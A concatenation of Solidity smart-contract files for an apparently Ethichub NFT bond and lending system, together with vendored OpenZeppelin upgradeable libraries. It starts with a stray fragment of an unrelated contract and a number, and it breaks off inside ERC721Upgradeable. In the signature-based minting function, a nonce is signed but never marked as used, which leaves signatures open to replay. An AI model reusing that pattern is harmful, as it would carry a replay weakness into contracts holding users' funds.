(_borrowers[tokenId][_borrowerArray[i]].assignState == AssignState.BY_BORROWER && _borrowers[tokenId][_borrowerArray[i]].deadline > block.timestamp) revert("KaveuERC721: refund borrowers first"); } }
Allows the deployer to set the {_baseUri} by the {_newUri}. _newUri The new {_baseUri}/
function setUri(string memory _newUri) external virtual onlyOwner { _baseUri = _newUri; }
15,811,857
// SPDX-License-Identifier: GPLv3 pragma solidity 0.8.13; import "./NFTBond.sol"; import "@openzeppelin/contracts-upgradeable/token/ERC20/IERC20Upgradeable.sol"; import "@openzeppelin/contracts-upgradeable/token/ERC20/utils/SafeERC20Upgradeable.sol"; /** * @title ERC20NFTBond * @dev Contains functions related to buying and liquidating bonds, * and borrowing and returning funds when the principal is ERC20 token * @author Ethichub */ contract ERC20NFTBond is NFTBond { using SafeERC20Upgradeable for IERC20Upgradeable; IERC20Upgradeable private principalToken; IERC20Upgradeable private collateralToken; struct NFTParams { string name; string symbol; string baseUri; } function initialize( address _principalToken, address _collateralToken, NFTParams calldata _nftParams, address _accessManager, uint256[] calldata _interests, uint256[] calldata _maturities ) external initializer { principalToken = IERC20Upgradeable(_principalToken); collateralToken = IERC20Upgradeable(_collateralToken); __NFTBond_init(_nftParams.name, _nftParams.symbol, _nftParams.baseUri); __CollateralizedBondGranter_init(_collateralToken); __InterestParameters_init(_interests, _maturities); __AccessManaged_init(_accessManager); } /** * @dev External function to buy a bond and returns the tokenId of the bond * when the contract is active * @param tokenUri string * @param beneficiary address * @param maturity uint256 * @param principal uint256 * @param nftHash bytes32 * @param setApprove bool * @param nonce uint256 * @param signature bytes */ function buyBond( string calldata tokenUri, address beneficiary, uint256 maturity, uint256 principal, bytes32 nftHash, bool setApprove, uint256 nonce, bytes memory signature ) external whenNotPaused returns (uint256) { return super._buyBond(tokenUri, beneficiary, maturity, principal, nftHash, setApprove, nonce, signature); } /** * @dev External function to redeem a bond and returns the amount of the bond */ function redeemBond(uint256 tokenId) external returns (uint256) { return super._redeemBond(tokenId); } function principalTokenAddress() external view returns (address) { return address(principalToken); } function pause() external onlyRole(PAUSER) { _pause(); } function unpause() external onlyRole(PAUSER) { _unpause(); } /** * @dev Transfers from the buyer to this contract the principal token amount */ function _beforeBondPurchased( string calldata tokenUri, address beneficiary, uint256 maturity, uint256 principal ) internal override { super._beforeBondPurchased(tokenUri, beneficiary, maturity, principal); principalToken.safeTransferFrom(beneficiary, address(this), principal); } /** * @dev Transfers to the owner of the bond the amount of the bond when the contract has * liquidity, if not will send the correspondent amount of collateral */ function _afterBondRedeemed( uint256 tokenId, uint256 amount, address beneficiary ) internal override { Bond memory bond = bonds[tokenId]; super._afterBondRedeemed(tokenId, amount, beneficiary); if (principalToken.balanceOf(address(this)) < amount) { uint256 porcentageOfCollateral = 100 - (principalToken.balanceOf(address(this)) * 100 / amount); uint256 amountOfCollateral = (bond.principal * porcentageOfCollateral / 100) * collateralMultiplier; principalToken.safeTransfer(beneficiary, principalToken.balanceOf(address(this))); if (collateralToken.balanceOf(address(this)) < amountOfCollateral) { collateralToken.safeTransfer(beneficiary, collateralToken.balanceOf(address(this))); } else { collateralToken.safeTransfer(beneficiary, amountOfCollateral); } } else { principalToken.safeTransfer(beneficiary, amount); } } /** * @dev Transfers to the recipient the amount of liquidity available in this contract */ function _beforeRequestLiquidity(address destination, uint256 amount) internal override { principalToken.safeTransfer(destination, amount); super._beforeRequestLiquidity(destination, amount); } /** * @dev Transfers from the borrower the amount of liquidity borrowed */ function _afterReturnLiquidity(address origin, uint256 amount) internal override { super._afterReturnLiquidity(origin, amount); principalToken.safeTransferFrom(origin, address(this), amount); } function _pause() internal override { super._pause(); } function _unpause() internal override { super._unpause(); } uint256[49] private __gap; } // SPDX-License-Identifier: GPLv3 pragma solidity 0.8.13; import "../token/NFT.sol"; import "../bond/CollateralizedBondGranter.sol"; import "../borrowing/LiquidityRequester.sol"; import "@openzeppelin/contracts-upgradeable/security/PausableUpgradeable.sol"; /** * @title NFTBond * @dev Contains functions related to buying and liquidating bonds, and borrowing and returning funds * @author Ethichub */ abstract contract NFTBond is NFT, CollateralizedBondGranter, LiquidityRequester, PausableUpgradeable { function __NFTBond_init( string calldata _name, string calldata _symbol, string calldata _baseUri ) internal initializer { __NFT_init(_name, _symbol, _baseUri); } /** * @dev Returns updated totalBorrowed * @param origin address of sender * @param amount uint256 in wei */ function returnLiquidity(address origin, uint256 amount) public payable virtual override returns (uint256) { _beforeReturnLiquidity(origin); super.returnLiquidity(origin, amount); _afterReturnLiquidity(origin, amount); return totalBorrowed; } /** * @dev Requests totalBorrowed * @param destination address of recipient * @param amount uint256 in wei */ function requestLiquidity(address destination, uint256 amount) public override whenNotPaused returns (uint256) { _beforeRequestLiquidity(destination, amount); super.requestLiquidity(destination, amount); return totalBorrowed; } /** * @dev Returns assigned tokenId of the bond */ function _buyBond( string calldata tokenUri, address beneficiary, uint256 maturity, uint256 principal, bytes32 nftHash, bool setApprove, uint256 nonce, bytes memory signature ) internal returns (uint256) { require(msg.sender == beneficiary, "NFTBond::Beneficiary != sender"); _beforeBondPurchased(tokenUri, beneficiary, maturity, principal); uint256 tokenId = _safeMintBySig(tokenUri, beneficiary, nftHash, setApprove, nonce, signature); super._issueBond(tokenId, maturity, principal); _afterBondPurchased(tokenUri, beneficiary, maturity, principal, tokenId); return tokenId; } /** * @dev Returns the amunt that corresponds to the bond */ function _redeemBond(uint256 tokenId) internal virtual override returns (uint256) { uint256 amount = super._redeemBond(tokenId); address beneficiary = ownerOf(tokenId); _afterBondRedeemed(tokenId, amount, beneficiary); return amount; } function _beforeBondPurchased( string calldata tokenUri, address beneficiary, uint256 maturity, uint256 principal ) internal virtual {} function _afterBondPurchased( string calldata tokenUri, address beneficiary, uint256 maturity, uint256 principal, uint256 tokenId ) internal virtual {} function _beforeBondRedeemed(uint256 tokenId, uint256 value) internal virtual {} function _afterBondRedeemed(uint256 tokenId, uint256 value, address beneficiary) internal virtual {} function _beforeRequestLiquidity(address destination, uint256 amount) internal virtual {} function _afterRequestLiquidity(address destination) internal virtual {} function _beforeReturnLiquidity(address origin) internal virtual {} function _afterReturnLiquidity(address origin, uint256 amount) internal virtual {} uint256[49] private __gap; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/IERC20.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20Upgradeable { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `to`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address to, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `from` to `to` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC20/utils/SafeERC20.sol) pragma solidity ^0.8.0; import "../IERC20Upgradeable.sol"; import "../../../utils/AddressUpgradeable.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20Upgradeable { using AddressUpgradeable for address; function safeTransfer( IERC20Upgradeable token, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom( IERC20Upgradeable token, address from, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove( IERC20Upgradeable token, address spender, uint256 value ) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' require( (value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance( IERC20Upgradeable token, address spender, uint256 value ) internal { uint256 newAllowance = token.allowance(address(this), spender) + value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance( IERC20Upgradeable token, address spender, uint256 value ) internal { unchecked { uint256 oldAllowance = token.allowance(address(this), spender); require(oldAllowance >= value, "SafeERC20: decreased allowance below zero"); uint256 newAllowance = oldAllowance - value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20Upgradeable token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // SPDX-License-Identifier: AGPLv3 pragma solidity 0.8.13; import "@openzeppelin/contracts-upgradeable/token/ERC721/ERC721Upgradeable.sol"; import "@openzeppelin/contracts-upgradeable/token/ERC721/extensions/ERC721EnumerableUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/token/ERC721/extensions/ERC721URIStorageUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/token/ERC721/extensions/ERC721BurnableUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol"; import "@openzeppelin/contracts-upgradeable/proxy/utils/UUPSUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/utils/CountersUpgradeable.sol"; import "../access/AccessManagedUpgradeable.sol"; abstract contract NFT is Initializable, ERC721Upgradeable, ERC721EnumerableUpgradeable, ERC721URIStorageUpgradeable, ERC721BurnableUpgradeable, UUPSUpgradeable, AccessManagedUpgradeable { using CountersUpgradeable for CountersUpgradeable.Counter; CountersUpgradeable.Counter private _tokenIdCounter; string private _baseTokenURI; mapping(uint256 => bool) private _nonces; /// @custom:oz-upgrades-unsafe-allow constructor constructor() initializer {} function __NFT_init( string calldata _name, string calldata _symbol, string calldata _baseUri ) internal initializer { __ERC721_init(_name, _symbol); __ERC721Enumerable_init(); __ERC721URIStorage_init(); __ERC721Burnable_init(); __UUPSUpgradeable_init(); _setBaseURI(_baseUri); } function tokenURI(uint256 tokenId) public view override(ERC721Upgradeable, ERC721URIStorageUpgradeable) returns (string memory) { return super.tokenURI(tokenId); } function supportsInterface(bytes4 interfaceId) public view override(ERC721Upgradeable, ERC721EnumerableUpgradeable) returns (bool) { return super.supportsInterface(interfaceId); } function _baseURI() internal view virtual override returns (string memory) { return _baseTokenURI; } function _safeMint(address to, string calldata uri) internal returns (uint256) { uint256 tokenId = _tokenIdCounter.current(); _tokenIdCounter.increment(); _safeMint(to, tokenId); _setTokenURI(tokenId, uri); return tokenId; } function _safeMintBySig (string calldata uri, address to, bytes32 nftHash, bool setApprove, uint256 nonce, bytes memory signature) internal returns (uint256) { bytes32 messageHash = keccak256(abi.encode(uri, to, nftHash, address(this), setApprove, nonce, block.chainid)); bytes32 ethSignedMessageHash = keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", messageHash)); (bytes32 r, bytes32 s, uint8 v) = _splitSignature(signature); address miningSigner = ecrecover(ethSignedMessageHash, v, r, s); require(_hasRole(MINTER, miningSigner), "NFT::Invalid Signature"); return _safeMint(to, uri); } function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal override(ERC721Upgradeable, ERC721EnumerableUpgradeable) { super._beforeTokenTransfer(from, to, tokenId); } function _authorizeUpgrade(address newImplementation) internal onlyRole(UPGRADER) override {} // The following functions are overrides required by Solidity. function _burn(uint256 tokenId) internal override(ERC721Upgradeable, ERC721URIStorageUpgradeable) { super._burn(tokenId); } function _setBaseURI(string calldata _baseUri) private { _baseTokenURI = _baseUri; } function _splitSignature(bytes memory _sig) private pure returns (bytes32 r, bytes32 s, uint8 v) { require(_sig.length == 65, "Invalid Signature length"); assembly { r := mload(add(_sig, 32)) s := mload(add(_sig, 64)) v := byte(0, mload(add(_sig, 96))) } } uint256[49] private __gap; } // SPDX-License-Identifier: GPLv3 pragma solidity 0.8.13; import "@openzeppelin/contracts-upgradeable/token/ERC20/utils/SafeERC20Upgradeable.sol"; import "./BondGranter.sol"; /** * @title CollateralizedBondGranter * @dev This contract contains functions related to the emission or withdrawal of * the bonds with collateral * @author Ethichub */ abstract contract CollateralizedBondGranter is BondGranter { using SafeERC20Upgradeable for IERC20Upgradeable; IERC20Upgradeable private _collateralToken; uint256 public collateralMultiplier; uint256 public totalCollateralizedAmount; mapping(uint256 => uint256) public collaterals; event CollateralMultiplierUpdated(uint256 collateralMultiplier); event CollateralAssigned(uint256 tokenId, uint256 collateralAmount); event CollateralReleased(uint256 tokenId, uint256 collateralAmount); event CollateralExcessRemoved(address indexed destination); function __CollateralizedBondGranter_init( address collateralToken ) internal initializer { collateralMultiplier = 5; _collateralToken = IERC20Upgradeable(collateralToken); } function collateralTokenAddress() external view returns (address) { return address(_collateralToken); } /** * @dev Sets the number by which the amount of the collateral must be multiplied. * In this version will be 5 * @param multiplierIndex uint256 */ function setCollateralMultiplier(uint256 multiplierIndex) external onlyRole(COLLATERAL_BOND_SETTER) { require(multiplierIndex > 0, "CollateralizedBondGranter::multiplierIndex is 0"); collateralMultiplier = multiplierIndex; emit CollateralMultiplierUpdated(collateralMultiplier); } /** * @dev Function to withdraw the rest of the collateral that remains in the contract * to a specified address * @param destination address */ function removeExcessOfCollateral(address destination) external onlyRole(COLLATERAL_BOND_SETTER) { uint256 excessAmount = _collateralToken.balanceOf(address(this)) - totalCollateralizedAmount; _collateralToken.safeTransfer(destination, excessAmount); emit CollateralExcessRemoved(destination); } /** * @dev Issues a bond with calculated collateral * @param tokenId uint256 * @param maturity uint256 seconds * @param principal uint256 in wei * * Requirement: * * - The contract must have enough collateral */ function _issueBond( uint256 tokenId, uint256 maturity, uint256 principal ) internal override { require(_hasCollateral(principal), "CBG::Not enough collateral"); super._issueBond(tokenId, maturity, principal); uint256 collateralAmount = _calculateCollateralBondAmount(principal); totalCollateralizedAmount = totalCollateralizedAmount + collateralAmount; collaterals[tokenId] = collateralAmount; emit CollateralAssigned(tokenId, collateralAmount); } /** * @dev Updates totalCollateralizedAmount when a bond is redeemed * @param tokenId uint256 */ function _redeemBond(uint256 tokenId) internal virtual override returns (uint256) { uint256 bondValue = super._redeemBond(tokenId); uint256 collateralAmount = collaterals[tokenId]; totalCollateralizedAmount = totalCollateralizedAmount - collateralAmount; emit CollateralReleased(tokenId, collateralAmount); return bondValue; } /** * @dev Returns the amount of collateral that links to the bond * @param principal uint256 */ function _calculateCollateralBondAmount(uint256 principal) internal view returns (uint256) { return principal * collateralMultiplier; } /** * @dev Return true if the balace of the contract minus totalCollateralizedAmount is greater or equal to * the amount of the bond's collateral * @param principal uint256 */ function _hasCollateral(uint256 principal) internal view returns (bool) { if (_collateralToken.balanceOf(address(this)) - totalCollateralizedAmount >= principal * collateralMultiplier) { return true; } return false; } uint256[49] private __gap; } // SPDX-License-Identifier: GPLv3 pragma solidity 0.8.13; import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol"; import "../interfaces/ILiquidityRequester.sol"; import "../access/AccessManagedUpgradeable.sol"; import "../Roles.sol"; /** * @title LiquidityRequester * @dev Contains functions related to withdraw or return liquidity to the contract for borrowing * Increments every time money is taking out for lending projects, decrements every time is returned * @author Ethichub */ abstract contract LiquidityRequester is Initializable, ILiquidityRequester, AccessManagedUpgradeable { uint256 public totalBorrowed; event LiquidityRequested(uint256 totalBorrowed, address indexed destination); event LiquidityReturned(uint256 totalBorrowed, address indexed destination); /** * @dev External function to withdraw liquidity for borrowing * @param destination address of recipient * @param amount uint256 in wei * * Requirement: * * - Only the role LIQUIDITY_REQUESTER can call this function */ function requestLiquidity(address destination, uint256 amount) public virtual override onlyRole(LIQUIDITY_REQUESTER) returns (uint256) { return _requestLiquidity(destination, amount); } /** * @dev External function to return liquidity from borrowing * @param origin address of sender * @param amount uint256 in wei */ function returnLiquidity(address origin, uint256 amount) public payable virtual override returns (uint256) { return _returnLiquidity(origin, amount); } /** * @dev Internal function to withdraw liquidity for borrowing * Updates and returns totalBorrowed * @param destination address of recipient * @param amount uint256 in wei */ function _requestLiquidity(address destination, uint256 amount) internal returns (uint256) { totalBorrowed = totalBorrowed + amount; emit LiquidityRequested(totalBorrowed, destination); return totalBorrowed; } /** * @dev Internal function to return liquidity from borrowing * Updates and returns totalBorrowed * @param origin address of sender * @param amount uint256 in wei */ function _returnLiquidity(address origin, uint256 amount) internal returns (uint256) { totalBorrowed = totalBorrowed - amount; emit LiquidityReturned(totalBorrowed, origin); return totalBorrowed; } uint256[49] private __gap; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (security/Pausable.sol) pragma solidity ^0.8.0; import "../utils/ContextUpgradeable.sol"; import "../proxy/utils/Initializable.sol"; /** * @dev Contract module which allows children to implement an emergency stop * mechanism that can be triggered by an authorized account. * * This module is used through inheritance. It will make available the * modifiers `whenNotPaused` and `whenPaused`, which can be applied to * the functions of your contract. Note that they will not be pausable by * simply including this module, only once the modifiers are put in place. */ abstract contract PausableUpgradeable is Initializable, ContextUpgradeable { /** * @dev Emitted when the pause is triggered by `account`. */ event Paused(address account); /** * @dev Emitted when the pause is lifted by `account`. */ event Unpaused(address account); bool private _paused; /** * @dev Initializes the contract in unpaused state. */ function __Pausable_init() internal onlyInitializing { __Pausable_init_unchained(); } function __Pausable_init_unchained() internal onlyInitializing { _paused = false; } /** * @dev Returns true if the contract is paused, and false otherwise. */ function paused() public view virtual returns (bool) { return _paused; } /** * @dev Modifier to make a function callable only when the contract is not paused. * * Requirements: * * - The contract must not be paused. */ modifier whenNotPaused() { require(!paused(), "Pausable: paused"); _; } /** * @dev Modifier to make a function callable only when the contract is paused. * * Requirements: * * - The contract must be paused. */ modifier whenPaused() { require(paused(), "Pausable: not paused"); _; } /** * @dev Triggers stopped state. * * Requirements: * * - The contract must not be paused. */ function _pause() internal virtual whenNotPaused { _paused = true; emit Paused(_msgSender()); } /** * @dev Returns to normal state. * * Requirements: * * - The contract must be paused. */ function _unpause() internal virtual whenPaused { _paused = false; emit Unpaused(_msgSender()); } /** * @dev This empty reserved space is put in place to allow future versions to add new * variables without shifting down storage in the inheritance chain. * See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps */ uint256[49] private __gap; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC721/ERC721.sol) pragma solidity ^0.8.0; import "./IERC721Upgradeable.sol"; import "./IERC721ReceiverUpgradeable.sol"; import "./extensions/IERC721MetadataUpgradeable.sol"; import "../../utils/AddressUpgradeable.sol"; import "../../utils/ContextUpgradeable.sol"; import "../../utils/StringsUpgradeable.sol"; import "../../utils/introspection/ERC165Upgradeable.sol"; import "../../proxy/utils/Initializable.sol"; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721Upgradeable is Initializable, ContextUpgradeable, ERC165Upgradeable, IERC721Upgradeable, IERC721MetadataUpgradeable { using AddressUpgradeable for address; using StringsUpgradeable for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ function __ERC721_init(string memory name_, string memory symbol_) internal onlyInitializing { __ERC721_init_unchained(name_, symbol_); } function __ERC721_init_unchained(string memory name_, string memory symbol_) internal onlyInitializing { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165Upgradeable, IERC165Upgradeable) returns (bool) { return interfaceId == type(IERC721Upgradeable).interfaceId || interfaceId == type(IERC721MetadataUpgradeable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721Upgradeable.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { _setApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721Upgradeable.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); _afterTokenTransfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721Upgradeable.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); _afterTokenTransfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721Upgradeable.ownerOf(tokenId) == from, "ERC721: transfer from incorrect owner"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); _afterTokenTransfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721Upgradeable.ownerOf(tokenId), to, tokenId); } /** * @dev Approve `operator` to operate on all of `owner` tokens * * Emits a {ApprovalForAll} event. */ function _setApprovalForAll( address owner, address operator, bool approved ) internal virtual { require(owner != operator, "ERC721: approve to caller"); _operatorApprovals[owner][operator] = approved; emit ApprovalForAll(owner, operator, approved); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721ReceiverUpgradeable(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721ReceiverUpgradeable.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} 